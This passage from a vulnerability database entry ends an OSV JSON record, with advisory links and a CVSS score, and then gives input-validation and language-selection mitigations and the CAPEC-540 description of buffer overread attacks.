"url": "https://usn.ubuntu.com/3923-1"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2019/dsa-4454"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00094.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00040.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107059"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of introducing an out-of-bounds read, ensure that you validate and ensure correct calculations for any length argument, buffer size calculation, or offset. Be especially careful of relying on a sentinel (i.e. special character such as NUL) in untrusted inputs.
Mitigation
Architecture and Design
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
CAPEC-540: Overread Buffers
An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.